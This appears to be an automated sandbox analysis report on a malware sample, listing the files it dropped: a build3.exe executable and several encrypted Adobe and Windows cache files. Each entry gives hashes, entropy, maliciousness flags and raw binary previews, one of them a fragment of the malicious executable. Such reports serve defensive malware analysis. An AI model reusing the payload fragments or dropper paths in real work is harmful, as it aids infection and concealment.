Preview:	insec!.._..x...@.....l..@.[x5.,.2.....A...m.yA)NY\.S^.r..]W....]B.~;l..._...+.I9...Q....E.uZ......./..'..O..+.......Vt.dsyFF.\.fW....O.S2Z....<.g=?..T..../......SS..[.Y#0/M0....Z...9.~;..w]f..ez]..\.....sZD.(..9r'.Z.3.D.;.*=.jK.Kz.6.0....TP7.gr_..K.:doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	307022
Entropy (8bit):	7.638139648053161
Encrypted:	false
SSDEEP:	6144:d11oTUWK81GZXUbra0CHdtM9VstSttuvqITzj:5m1GhUQdt9tKt2qIPj
MD5:	8B2736BAD97D2118CF911864EA7BDFAD
SHA1:	BC3756F94208F49663323FE195F8D32AC800EDFD
SHA-256:	14CD15B41790794C7FA27D5DCCBCBB341ED9A87DA7461733E39CA72B19F2D142
SHA-512:	C92ED693B4EC1F41C2B0B7FA5C02A43189C9266DED920BBC044AEFFD39ED0C39E2249E0EC98E461F5A4048FC58CF4390CB2D1672F1FA7C2A8A81FBF0DCBBC977
Malicious:	true
Preview:	MZ......._5....6$..Eo+O...MZ.@G.(.R....o1.SV..(........,.....SS..j..u..)..i....o4G..<r.HUa`.y .-7.v0.k:..!.i\|..I3..5^rT..iF.[.jjI.Tf............#ng.....K....+"QB........Fa..~..<....?.....\|,.......L.......<.k..m..VC.........-.U.L..\|..y.$f.....A].5..+..3..e...........s.......xT.T..].nv..l<O..0'.u....H8Rw...Es....q..j.l.IP.rHuB..g%...........5k..P.......T6...... .n{D......'..pJ...>.k..Q....O.q..nU....fHq9.=...)....!.F...:^A$..$...8.....`.(].....v".\|Vh.}..,.e......G..P.A<^..[)..w<.Kd..........M..n4T.g...q.)......Z#...6C.../a..CLS...5...E;.......Bl.Q ].J.....J...u.c~..H.V1.D.......rS...F..7..s...Q....=1......7....A u}Q..sZ....M.n..K.nv.5Q..T^......&+.L.".......{...f2!.......w.R"Pj.b+D$..h..!T...?..Z.ke..n.....q..2MvL.].Y..{..fI.rD.9.........Xe.\|h............LV..8...Ia..O...N]*@..y.[Pk.7,DS5.1a9.\|..6M...^...#...7.7a.>....[.p....RL..../.......[.Y.p.........E.O.....c..>O.."../".h....j..HT...v.cs..o69n....t...\.k Nq..4......j

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.879492772960851
Encrypted:	false
SSDEEP:	48:xokYQvFR8bppLRRDq9PYKCJ0Vr5ociPJLj8GmXFuED:+k9vFsHDq9AKCJ0hXS2lFuQ
MD5:	C79A9808E1A0D84F5D5E083644E9FF94
SHA1:	8CAB655B382875C8C1398901127ECA109C7FD8B6
SHA-256:	BF5C36C4446C3699BC09D661E6D2423E70C00A926FA5ED5F68836CEA9DFEDE35
SHA-512:	4CD09693E4539433F48ED97989DAC7F66E5BB669CDAECA9FE2B5D750BF98119B30FF891700461A9135D0ED6EAA2F7C7AB415E1E28C4EEAAE944D76299C9EB8F8
Malicious:	false
Preview:	%!Ado....t.G..8EwW.._\w.......5.~.........t1...C....X.f..48..Q..N..(~D.%-..N.........y.c...`.&....\|h..h$..[t.fyb.......x....1T.W.k.v.0aj..=...:.U.......#.B\0.M..n.D...f.L...........,....0...vg/.!~V.OxF....8.H...a.I.._..%Y...d....!..k...$.,.F...#$....Xr....."..9.,}.c7.lz..nhQ,z..;....S.Zr...?..z.....l.......=..dyQ....p5T.v.5...(:..e..<.....p.N5......7.E.[`..1.....^4@xTr&..fl#-..v..Ge1.d....N=*..M..H[...kk.....wk.....J..s...........<..c...i...K...."........+d(g..05.1ai..J.P...+N.Q.b.....#......Gag.rXx\...U...$b...i.F....?.-.J.hM......B.3s.k.b.1. ...3.W.Ft4..9./._G...F.9N&.h...Vx..1..8.<F.g.L.".E..0-../`...\|..Zo..C>n.B..l........J.J...H...8.,..K..I..7q.].M..l.~......\..f..#Z.I.w%..&n.+...I.sK..(....] &.1...j...c.2..L...D9)2{...2&Q.d"...9.@"...<....s..E..k...'.]..CK......9......r.#W..5[13..T.Hp....h..q...mzI.... ..lw.0..%..[..).W.U3l.5..[g. ...\..n..6.E.<(.,ZCY.u...b.....\XA..(.#.. ,..3.....`.....#..b.rwl.5.I.].h.LE.._..8~.H..J...C...ed..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.876035892391137
Encrypted:	false
SSDEEP:	3072:s1NjfVB2hmAIXaXtpDhK8UVLM26P5lengSRSEjgPf9i7LVU6SRlPRWTQQXE07Zml:oxfX5XQtpE8SR6PjenjS7fk7BfSRlZW2
MD5:	9B8DCDCEC2EA21881C14AC5024C457CD
SHA1:	20C51D3025E7B27D1058C95234D8BD432BA7EBAA
SHA-256:	81B28B658626E1A2574E02CEA4AD3A1C64A39CF69C8CEAF1CF9943A298BDB030
SHA-512:	0A5CC084A18F10020AFF436959BC5ABCDB400FB8C590DA18411B89C524F50A6522C1AE2F2CC84F26C42229F2375F659307AA0771BCDA11F9A8797D841132BF4A
Malicious:	false
Preview:	%!AdoK.,..\\|e1.....%.'u.~vz`.:I_..Q..T:....R\|...I1HJ.x!.....@k.].....m3_.i....t....7.F?h...........^...~D.... .......U."..98Y`./.@..a.. 7$.:..^..._:_U..J.;L..k.M.5I.dL..t...X..<....32[S.0p...?4.].o.M.........:..#&".\|.;..P.\a.S...m......1......wwax...n.K.G...F.f..........g.9...j..B..!...+....Q..Z..\.l...\..W9.d<..jUjU.@.....r..yS......!....2........8.\......Z..XnA4.t.D..7..N..Y!T.i....`.....#.PG.J..........i..B3.r......T.;2...@.q.Us3.1be)L.....M.S.Tc.E:.Y.Q..)..8....{...3}.. .^.~..?+.%W=.."...[@7j...u...dE.?J.....~.....{X....hW../..8@.'k~..O7p6...M..y.HG.kr...C}..J....}..t..SE....:od+.&.Z.K.>....?.....94.....Pf...]@.dy.....Yq.'...X!...Q....QqL. U....Qq...H..$...0.nF2..ps....;.{......!1....'.oC.\|.r.X}!._]pE\...$Y.X+4...O_.s...u.`.L.?....O..bRC.."t..7.j.PA........R..i..F4.............5.p.7PeJ.Dd._.....w..(.(...c...=.Oq..Hf...u.~{.....,..P6...k..o..[_..w.?..u......w.8-we.+!~.DZ......-.5..K...n...s.$..%...{i.5^H..]4.!="...u.u....J,.W....Sa.....b

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.983923922685615
Encrypted:	false
SSDEEP:	3072:VBBU/P2Lm5wMrBReIwe+1ibYSuAUrd6xgbf2V29zp+yD48au5fcOM7OoWiRnL:7aHYEXBReIwUBdvxX41D4pAffMHnL
MD5:	0635C3B2599F181639F81402C42409A6
SHA1:	5A6CADCF8232F286D494B85940B3849D2E0779E3
SHA-256:	40DDC964CD3530C5BFC122F33DD2FDB46089F2969E47AF8A799072A4E51069BE
SHA-512:	D129E227161C716F091AD467F088AC9F552179B30101693B2B447B7638FC42112366E65D2656234C865B7D8CDF09A71CFA0D0ECCAFD5BEAFC76FC02B3AD6DF96
Malicious:	false
Preview:	Adobe1O..V.u.p.....[...m."C..G...-.T'...(.....,..J.WL.+.z%8.m8.\\|..,..d).Y6..v...........!.....H........\y,k.+N3G9.!<....(j.Q.....!.......Oa.).;.....(.P).v.G..u..(..o....$r$....ll..y..;.g..n...;.N$.w..ad.:..;....0.N.Dq....y.m..Sx.....P.b...C.y].......vBZij..K}".......}. \|...t.VF.3r~.%..6P.(..v.x.....z...3.<....5.x.....m.`.jL.&^$.n....+......).!........S..C[....C!.....X.K.u.8..4?..../."..0tVC....n.9)...r.M....w}HZ./.....^.!&..x>k.'....Wo\......0.q@...../0U.w............5..T...VO..xoZ(..@........a.s.~.-,.[..@#...C...........>...p.B!w.F<..%.\|Yz...vf.m..w8..zk........h..wqe...x..(lB..i..C...~.c.w.=...T.H=>..M.9..a.UP..>a.j.H.V...3........h.....^`..Y......(}.y..........M.N(.<.....X.j'T.:..{...............L.-.#..jl..M..g...rD.9P......G.....f.r....l..~}/0...0l...P7.A.1...B......a..6e.K...............F^E.........m.9\|....1..:.G4...^....g.).K...K.#.0v..I?.._.YA..3:....md..2.+...C%u..3H.C.jE'p......F..e@&'.T...a.,._.].q_r.c...PcEl.\|.T..K)..v

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997196534367037
Encrypted:	true
SSDEEP:	1536:LiU6D3EzdlQ6HKtEUSZJ4U3TZbohLaqW1aUlzU3NMi:Lirzl6HK6USlTZb42f+ii
MD5:	BCAF2F8AFFD38A96D5DA295AA302E42C
SHA1:	6D25D138BA80733647BD98E554E8FFD76680E12D
SHA-256:	E26768EF8C69EE34404043C6A075D0B50EC8F2CCB0B27E2DB0B86CC7E3149229
SHA-512:	F1219C0F4A18FA44269E9B996C81CCB235E9B37EC3636FC5B464AF5D8047DDFE43642196DCA9D04B632C64A5CB377E3EA3A5C9A225CC5C87C339ECB002C4E816
Malicious:	true
Preview:	4.397.....W..sH.K..c.\|..R.B].d....{...."X[i..=.dK}yi.....Q.j.H._V...l6.q.mc...x...#J.[...v..n]gw.}Y.\|=......RL.\......[.J..{.+..l..o......_?....B.W.....AFp#&.1.."...&.pJ..).G..T.kf]\|vj.(..........'89/+x$+mw..P9bw..VHQ...J.o...Lw.G.m+....Ea..S?..3WB.._NmT......,.G.4.iF`..].%qL.?.EG(.k.=l.. "9.O...:.3../.k...w]...V...dP.?.#..?[./.E. 9.0....~0....f.....F..].C.&....8+...........)9X'.J .n..v...^Z......'Umb;....LE#14..}...?...[.L..V.=...Z..O...<.s.K.U...X.Tg..B...<.......[...eh5.<;..u3..a...F.....NV.l.4.6.....1-..G.I...A.g./!....Y....:.....5n..!z.z....v.65a{....2..T.p...t.t^+..q...K.0...q.9...p.D(Ud............F.T.....@n..o.t:...M.>.A.Y.......p..E..p.CMg...W.A.......<u.....j...]..+?<.=7...?.r....I.!..t.....w.bJ.<.M l0D......Q.Zc.6.....M~.s..Z...s...s......6....(W.0-A..EQ#...{....9......V...6.?z{....6.A.....U.. ,.1.....T;.%.Q...l^...u....c...@.z<Nr.S.RH..@..?......f.>...G=...3zLS-.I...&i>......T...r.~.n..Cx.1b.8.&S..3...^....q..%.j..a.@(..

C:\Users\user\AppData\Local\Adobe\Color\ACECache11.lst

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.750799873048603
Encrypted:	false
SSDEEP:	24:sPGzfdwFMyx/gl7xwvUr+PgspVnEd3qSd6uSUcLXq8uWbD:tfGFRI4v+kZVn+3Z6QcLXFuED
MD5:	94A99AF4615F732F7C669412B614B9DA
SHA1:	354ECB5F7100174CF28EA77FA1B048D441AC8F2C
SHA-256:	347ECA1FFFD344D6CB82E80E006B489D98E647165DD356924775EC0DB19905BD
SHA-512:	A7BCE3205AD4837E04C5C292A355AF71EBB1D9BA350083C3A014F0B8B71757B154A865DC35D11FAD19F4517549492E0C4BEDB8D1212A2B79DD6C8D2321CD52BA
Malicious:	false
Preview:	CPSA..l2..{.i.I.H..f.v.a...].@..G'.p...W7j....j...$..k6...a..z..0eI...Gz4...f.J...2..!..m..(.@5..T..B.=U.......^..r..8.-...F...=-3.v/.n0..HN<\|..x.....IH.;...K^..?..S(.E.t.(...cs...\.....e...q$.Wn.~.. .Kv.. ...! .\|....`.; ..w.a.l...9.c..)v.E.`.8...9.m&./.Y..J........7..?02xZm.K.......v;uG>O.......E..8.V..'..r1t.. ^Kx+.d....s.......9.U../\.(.j..qU@..K.2.......%...*.!..b...>.......x<^.e`?.q.h..4..V..`1b+.4JZY....CpZ[V...=O%&5..b..su4...S....a...N.{...i{..#J.T..8..P.l..~...>o.....t.rQ.T....M.=..[.f..........mji..rO....q3\...f.^'...E..G.D.gt ...H.3!$..\|.....M.\|.A.AF....[.g;%l..c.}.3..O..\|.B.}.tu+.I[:.u.[...d.p`.Pd..i....9..l.B..".0.c..,.:NV......e.bi-.3...S..zPSnp.:1...'jh..a..x..zFyt.S...l~%.4....^..k...<...#heZ#r....p._[.[V0Izn.6.W..E.v....C.............q.......2..s .l.ga{N.l.tM2...I.T<.F.s..`.)o.x_..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9773592598119
Encrypted:	false
SSDEEP:	192:jaW1oYC1ht3qBRldkSa9zrs8NEQVkQbDfSf7H4L5ptSdjJQ:jaWaYC1v6BRldkjzTNaQbDqYLPtSVJQ
MD5:	0FBD11E15DD7537A21AC250797CC59A9
SHA1:	A51F24FC097E392DCE910F5793E327CFF9108FE1
SHA-256:	F4B8EA94CC1657CEAC9E0B1431ED9C033820AA71C317AB924E55C33E04A8BDD1
SHA-512:	165F5A5CF01227164BD18E3D812106E26442ACF3466292DE4B6F8AD0B3E3744F57D6AE62D9EB2C4ECD7A99620F57AAABE627055C92A83CD6E46518A89D16FCC9
Malicious:	false
Preview:	.A.~...8k..P...hd...]t.'..A.^.`m...I7.......J.T E/.L.G.t..&..2..<a.-.#J.%"....b.nbI....AG.p}.f.q..!....R..2nX.9r.@.K0)..`.,./.!k...Q.........R.l.....V%#.c..2....{.1.......G....`=...r.<}2..9].N$Z4...R:.GeU........d.o.G.-.-.......d.....a:=.-.......t7.....5...0..+..Og...j..-[....R...U.CQ_.".\|.."..4..R.l.m.,8.[V... ht...89+ ..._WC..&T.ZX.@...=Cl.Q.l.D..6...(.....:.R.Sq.....wF..8....Y.l2.5..a. ........@...G3.p..].LJI...<. .?1...+.....wb._...YT....Njh.}.oeO.......^o.. /:x}S.z.........uW....?..2.l.....D........B,.U..'..8..U.A.)..pj..&.&;.q...G..z.".3.........r<e.DR..lN.2D...@...}..z.:..v......F...t_....%......n9.FE.E.QF:.Z.+....Rz....Q.w!..N..t!_..Di..1h...l.:...WHh.7..-.`..%z...5..N.&...i...&dh..d....y.#..Ab...J.U..~;.}=.c...?....H.)V..px"...D...fW.8\NV.u.!4.2W...Ep..$.{..W.^....3..h...SC.......k,.....t...2c.f;......+.kl\.V...'.n.N"E..AL.......2...O.UP.fY.....Z?.......w.@.!..<`......&.b.Bh+\|.&v5<7...qI..h.....(..}.A.......Q..B./..:.vy}B..

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jtx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7306886905399468
Encrypted:	false
SSDEEP:	6144:dLfL+dlCp/zCMc9Bysgqpfia83sgQNqwlKRpO49VXtbFZRw5Jbqh+AJ3TGXZAcb2:9SWpbCMczgqpqWrC96o
MD5:	47CC846C892D5E4F3857ADA1E2BF1DBB
SHA1:	8D70882E7E9B15619CF2DCC33AF9E1684572DA06
SHA-256:	F9DDCB5C584C40E512C29D983A34FC9B39C28F6218CC39FBED27C1B56DF57A74
SHA-512:	FF0B80734C6A327ECED73E8C45EF4C975ADB205261EEDE7BA2499BD1056870D89673AE0790D5C982FAA28CFFBBA1530AB16BCCAE86A4EC15CDA6013373555530
Malicious:	false
Preview:	...`.....8.x<.k.'.K])...\0/..a.....s..'.../.L...J...N.."l.!..........~.%C.....=...W.1d...f............q.t..R+/3...!....._.\.....DN.#).t.+.....7!4j...~(.r...R,.=.#.s.z..G.!.....]v...{S..Z.to.-.X......].0.....%.eC...5..n{A<.tM...pQ...q.e....xO......./Nr.`kGw.......V..G.K......:w..%e.GB.....+.....1.."Z.!..tK\|-j../.e..Lxc.J@,...Re.W..&.X.........[>T.6b9.K!.H...kH.uL...&F.wh.......9;...."Y..?@.7.cN...v#...E,.@...0..p.......gd..J...5...'?N.oy....>.m.....U2Z..zz..h..\.rl,F.T^..........!...Z....8...%...3..D...-.r..,..v.v....{.,i..$..q.&...(...qs5......B.t[..$.....7.......9.7n.....h..`B6u..._.i.:..I....\|z..D.......'-.\|...?.a...".`..j...nN.UU.D...&...u.R.eX..$.;.u..z{..-.6?...j........t..,..FO.e.......b...c-.a8...y..{...rR\.....M..@./...J.=.]....D...v.6.).u.6E.#JM}).C%..s..L.fy.(.7\|_.]C.p..n.a:..l.V)&..a......xR.P..U.(3Aq.5~.d.B3$$...h..s..7.)(.s.`..W..#....;..dU>)7....J.e8.iZ...r...<VaW....E..S4.u2].EW.x.-O..1.id#.Zj..D......8I..q

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.670687294833224
Encrypted:	false
SSDEEP:	6144:5OmeuZlYaU637e2Iv0EX2Tpb9sG+Ow/kPr:571f37eJMpb9jwwr
MD5:	31FA279D7A19F99528D0A994785F2AFA
SHA1:	D8B489C2FCA01F92C3C34BFC3331E778F9E930D9
SHA-256:	A7FC5B845CBE9784EDBDAF08EE48A346972CC4F4A2AE510BFCA5972F170FBD8E
SHA-512:	3D431981DB9BDB45A7D50382DB24F0A8E16509248338B9D4EA83E4B3A3047E4F3236E09B0572F9F72809CAD449F4388A3273983E9483562A1636452AE4717E76
Malicious:	false
Preview:	..........kE.....$ ..]....."....9......D.....0%....b....i.........O`.K.e/.>....!U..P;f..L...._./.+o.e'b.Uw.Z...I...Y.y....D..~.8.Xk.O..`.H."....(.=..vQc....!.c...5M.....R...30{.h.97.L[..X..jp...lhOv....^.oa.fi.@$.?r......=..oU..7...KV.c...C.K.l#l...2<.......m.!.J......N.P"/.....dQ.....C.p)..z.%..Wg...L1N.[$.7.R....ZW.9.A@.y..Z>...x..oU!.8..n...I.\|HJ...u..............(!..."Bf.Z.%....m..\|...l=.<f//I.....D..F.l^....b....A.? .gV.^c'u.V.{..1.x..uA..}2..Y].(..`..S3si)..i........~....M...Gt..U..H1...=.?.WD...'...%.-n.......T\...@.R...>.E.......5.......L.(M.....W...S ..._.......z%.;./.mm.p...'.U.O..G....Q.k.[&......s..5.....l.L........H.....!.8.....V.>.d..Fb.vC.5P..d..."......(..hE..1.HU..}).8f4H....nV....8tZ@E=...(...L.?P..$.0.-. ..D...v.......T:.XK.e..2v..&W..9}2%.&.k.W..m/.Mq.<....s6"".#..]d.-.j..n..Q..<S"{....APi=.!#..m.$......zO.7..f.%.{W.@.R..........~..=.......c.^.B....&9j9........u.r*..;..D....6..v.#....S.Rb.............TR...."..aO.S.

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706628939341431
Encrypted:	false
SSDEEP:	3072:CHcgGArTgJW4lEVLavZ2wgHlRLGam4WjyTqw+T/SYWfjM:L2MJWVLGfgHjFuRWYWfjM
MD5:	CD282D4785F40E2317353E8D90268ACD
SHA1:	7BCAB0E3BF5668686BEC830CA2B13AE18F3A2CBB
SHA-256:	917D0F373948A57B7D2A08A21610395B356DC3B7EDF88C2C13FED84AEAEE6187
SHA-512:	9B01C5E7801AD7B942B2CEE20BFD28D2F577DA75BE6E7351747BA411D59BBDC167119BF6A6D35A2454147867853981B8DD128CBD997A57108D1DCEF93460485C
Malicious:	false
Preview:	...........Gk6..l..z..y......fE^Q....I.Hr.?~A5..Tz`.w..=.M&S.;..I>V.$&.#..n........:......T.......>.v.l{y'{%.4.t8.p':_...v..y...Kx^#......T6..!.1......I2...W...7,.........t.h...n.;.x.2Q...?...T.......r..y.........o..G.^..5../"...Xj..-....:.".....!.D..~j:... .9...-\|..N..Usv.o..A.\.....?>...]..{...F.. ....r.".....V.."d..G..F......p......tkZ...hd.>!..y..o...p.ocRJ$Y3:~..k...$.#..F..C...O.Z1I..Bc...&8.W.......m<].........By.qA.D...Km....Mt/+...&j..cci#.....n.SN.e%.H....Y.lI.&L..]....l...)\.N..8....W.IDM....a[.+E.....JN-...2#...f..T6V....=t..6.D......o=.z@!..UC....X4P./;!V.i.Z:.a,=..F.@.;]..&.D.[.Q...X..,x.pB...cA..]....m.w..%..B.....m.8g2.sd.U>....S..0..-jQ..%^./..%...}/..6.#...c.....%....%.u..t...o..m.X...9.33Z.xJ..L.T;5-8..02w.....\,q...../_..T=..N..s..u...,..Moa...h..4.;q.`.vf..4'Y...o$}.R.z.D4w.....r" ..ya..!+.J.V^...d..B<>;...#<1.2.. ^jWa.M.O1a.S.."@%....R.....i...zZ[).... F"t..,x.... ....qS.t[$w\%..z!...1j#.......f%..j.k^

C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706721707130986
Encrypted:	false
SSDEEP:	3072:7Q3rCPTbdt7qPyWG9Rluco8LFeMa/L1WMXnDToZNalmbHeawjpVG:03wTJtuKjHJo8LFehrnhlmbzow
MD5:	28B2A5362F300CD973619D801AC618B5
SHA1:	71600098C49C52355D7792779670DDB3D62E31D3
SHA-256:	756EBD24D66C631171EA560032DEE671246FDC73FA271EFE2126ED8450F5B1F7
SHA-512:	1AD7607088BA748E628222B64DDC8AAEB465D3B5BA0BA8D045F46D0302F0EFE30BB2ADA96A1C6D13A40D0095B4342E3FDE539BACA21580502CA8B1EEF27DC1CE
Malicious:	false
Preview:	......v.../...8....z..;;.. H.F.yB.....B.k<E.9}.4...)_....l.1Q....m.q../S_Y..._.Z..eR:..s.-...Q...V......v\|..9.4..ZCR.].r^.0s=......a.<..{5.B.X..{..dgK]...9....3..$.d.....\_.pD..{Xi\....!...-..Z)2..=~cd.A9.YO..CJV..WY...tX..J...S&`.T#.n.R6.O..T.uQ3\...a..f.....Cp..n3V..or.V....[..h.o=..HL..V6...E.}k<Ry.p...~@.k...^\|....F......%...I..UGk..F.!...\.w?.v....=.k..uo..(...0n.J..pZ..2.A}.d......+.F.........Mg.......h7P.W..:4FJ..~..=l..D..f......./#......jD.#..G...U....,...<....~.n 1.<.z...>......<.].....[l.S..b}'.t?..i....%\O..1..FT..fx9..............2@.u....y...]......G......<v....,f..6A..........tp.Z.J..)...0....K....@m5....Dg...O.{.SP._..e...Lx....v{.jH{..L...-...w...x..x..c....I./x.E.Q.un.".....-..&.x........ .G.D......s...yi.7...:...$....5...k...Y4..O...C.....GI..P9.N...pF....:.^UR..~..U6\|,g.rL...b....P5\|B..H..mq%.g<.G.j....p.(...^....8'Fl...\|..qL.......a_R..f......Q.\...$..... G.@.g..ny].N[J.#}.D....+Fjp..Kz?.dY.~..&gl.=.K].O$...5Y.=

C:\Users\user\AppData\Local\Comms\UnistoreDB\store.jfm

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9882791546745935
Encrypted:	false
SSDEEP:	384:yYidhJrOtseGUXa+ngpotoA8eFU2WjfTYg0daLPAGQ:yYehJ6tsoa+nQAoIYwdaLPAv
MD5:	CA416D0BFF54BF53ED5E6E22E4856F9F
SHA1:	919E1D8A423C24DB5EA023D4539793A6D14111CF
SHA-256:	E641A781F276EEC347B46569694D7C470037B9FF6F2F16CA9F3DBDAA1E86E724
SHA-512:	E20913AB5A6F453D68144A25A3577D074231D9BBF4084C16F110589DF2EAFDD2CD355CED31C860B044FD0B4FD10E2853148A27585FA5AB7AF2D423B9DD6D44E4
Malicious:	false
Preview:	........Or..7f.6..$.....S.p.......).$^.+..E.iF...Gc..jp...Z.V.2.....\|.X.c.Y.OH.?.NU.&..X.'...0..Xg..b-..J.G]..u......I7....Sk.....Dz.b......_......NDrIj[..I)......J..H4o1.....%..Y.q.r.H._.s$.ZCrFA^.......)...bbu%.@......{.?...J._..j...4.m.2../.......J.UE.....&lA.7>..nc.N.C..D~L.....$M..qD.wl..6....W....VI..rP......u....Q.7.}fc.z1//...C/U...G.u..Wb.s...$d..B8.....J.hj.eE.....;h/...,..ik.@.......'....]E....[CLz..m.VI?P.x.....H<.3.. Q#.C$...P.m....=..H8.XA2......^..\|F>.... .HA.@2........4k.W..!..~Q.<.............@\...=[ ..y.B.`........).A.H.....+.vp.H....._CX...H ..u.Q..B:.D...Q..D../...~..B..x^...~r%..-......kU.(T.Y..H...c.`....W..O<6..w.I...r7...;.,.XW\|).....>.......+..m....6.?dOg:Q..".U;.i\...&q.Y!..)....G.%BOH....KH..c.....`..../.....!...Y...5..-.TX.~.....p..%...G$.p.#..O(3l. ...._D.....(/l+./..~.4.y.ia...k4Yu.\.......x.....~. c.*..0z.`$P:W=.....Q.....'.`....V........^Y..Nv.4...\..0..#R..p..t...o..I.=..\..]v.y')#.$k.].sy>y.O.[

C:\Users\user\AppData\Local\Comms\UnistoreDB\store.vol

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6291790
Entropy (8bit):	0.7009481052895156
Encrypted:	false
SSDEEP:	6144:XHFi7d26ONPHknaVxnnEDghhAa+d+gOrOuWxWk3m+uyHaCfYjUfCUX8LO6RqA9vr:XlWAPknaPnR2Rlb05
MD5:	9375F50BE7F13E6530D91BD69FD7CEDB
SHA1:	8B7EFDC317042F0102AFF0DD0904DD0EF1F7A0F3
SHA-256:	FCC5C647FCA6987245CAD992D6B77ABDC9995F283F29F9F16B74EBE0B5A030C3
SHA-512:	99F38B57BBC343DFB958E35FDCCEE215C83F985B3B1161485701E13B5CEE3DF693E4724C01A3AF6D470E97CEBD8FC2C4C270013E8729DD71BEE26681C757C87E
Malicious:	false
Preview:	.e...g.............y....)..gr.l.\|...(..nln.d...).-...H..0..H.P......b.!.Xf........X.>.!yo....0..AH-......0.....-M.B1uH..~m;."......U......N.{.s....q.+..Ty..xZ.._....O.........fX....E.^.m.....N.3I..Z..9..1!....f..s.4.ArUD6@.l...(.-'..1..x....2.(....R.....k.....V:...R.+..W.I..uF.sZ.5....^.>P.J..+..T.$i..C...#'..J.T_.........>....J.....5.AhE.....$9J..K..m....F.i.q..`6...xy..{v..U,....xaD.^.........kwj....3S7N..JO..><..&Q...R...rV.o.:.SZ?..h..:...7.KO..\sh.QF.>...V.[.<.(5.7.../.;.%..>...#......<"I...F...0.WW4dbL...O...:.....WO.7..x..p..Z....g4.u...<.....q~...H.8.t.[}..1...e......X;/..<..H...]&K..U......Zj.A.ZJ^...h..4.P#...a0.y.C....t...]~...w.EW.?7%.\ ........3Fdl@_0x.......i..u`..$"%....%o.K_.7.b..c.v..P..;YG..B...x2g.V1.j........<.Xn.....g....#.t.sw....,...M$wuv..y}G..y....o.B.+...[W.3....1.p..}.._A.....T..4EV4.J...`.Cb.....2..".~+r..\|.5.C7[3iz......H.'....;&Oz..:.....dJ..F1j...Ip9Um....!....B;..6.+..^En.OmM...+.....+.FPL....7.z...H~.n~.

C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	65886
Entropy (8bit):	7.997529402838868
Encrypted:	true
SSDEEP:	1536:JNqCi4sPjiY4NoDYwS0jI6DrtPSn8OqLO1W:4gHNMSHGOqLO8
MD5:	8E63425656210A56AB76F404CEC39D2E
SHA1:	2D9C1E05421CBB7317439A43D3F23333C318FA5F
SHA-256:	2867D729AF28E25211A659F9E0BC493D2F7718A96F68FCAE1CBFC7C8A43F1D8F
SHA-512:	562F16C1372C123E34CDF0172FF6CB5F1E18D713D34CF85E5265A9A856C29DBCC079EB22FCA0E98F79A0024A6E69E4574865D66A23A863BB20AB6C15ECD9851F
Malicious:	true
Preview:	...S....%..(.:./..5...!.De6..u.......u.2MB5.....Y.s.%wV.E.X....y7_.....F..qq.e...C<mU...z..<i.....No............/ ...&.w.i1cZ..8B..H./...Z.q."}.....R._.].N>.V[...H..&..-)...A;...I.[H.....[.rYO\OO..X..k..>[.........x..5.......v.z..&k.%.6......E.d`U.....d.....t..,.z..V.\|>.d.ns....^..\|?.5......._^..Z{;?b. ].E2.zb.FI..f.p.......\....b~....H...D.....o.1X#.E..)-....c}..y#..Tm]).gG.\.V..9.W.78........O.........7.....v.=..(.\|... 